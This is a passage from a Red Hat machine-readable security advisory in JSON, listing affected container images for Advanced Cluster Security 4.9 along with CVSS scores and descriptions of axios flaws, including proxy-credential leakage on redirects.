"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Prototype pollution allows information disclosure and request manipulation"
},
{
"cve": "CVE-2026-44486",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"discovery_date": "2026-06-11T17:01:30.944384+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487947"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client, specifically in its Node.js HTTP adapter. When Axios is configured to use an authenticated proxy and follows a redirect, it may inadvertently send the Proxy-Authorization header, containing proxy credentials, to the redirect target. This can lead to the disclosure of sensitive proxy credentials to an unintended remote server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure of proxy credentials via HTTP redirects",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important information disclosure flaw in the Axios Node.js HTTP adapter. Red Hat products utilizing Axios in a Node.js environment with an authenticated proxy and automatic redirects enabled are susceptible. The vulnerability arises when a request, initially sent through an authenticated proxy, is redirected to a target that no longer uses the proxy, potentially leaking `Proxy-Authorization` headers containing sensitive credentials to an untrusted remote server. This risk is heightened in deployments where applications interact with untrusted HTTP origins.",
"title": "Statement"
},
{
"category": "general",
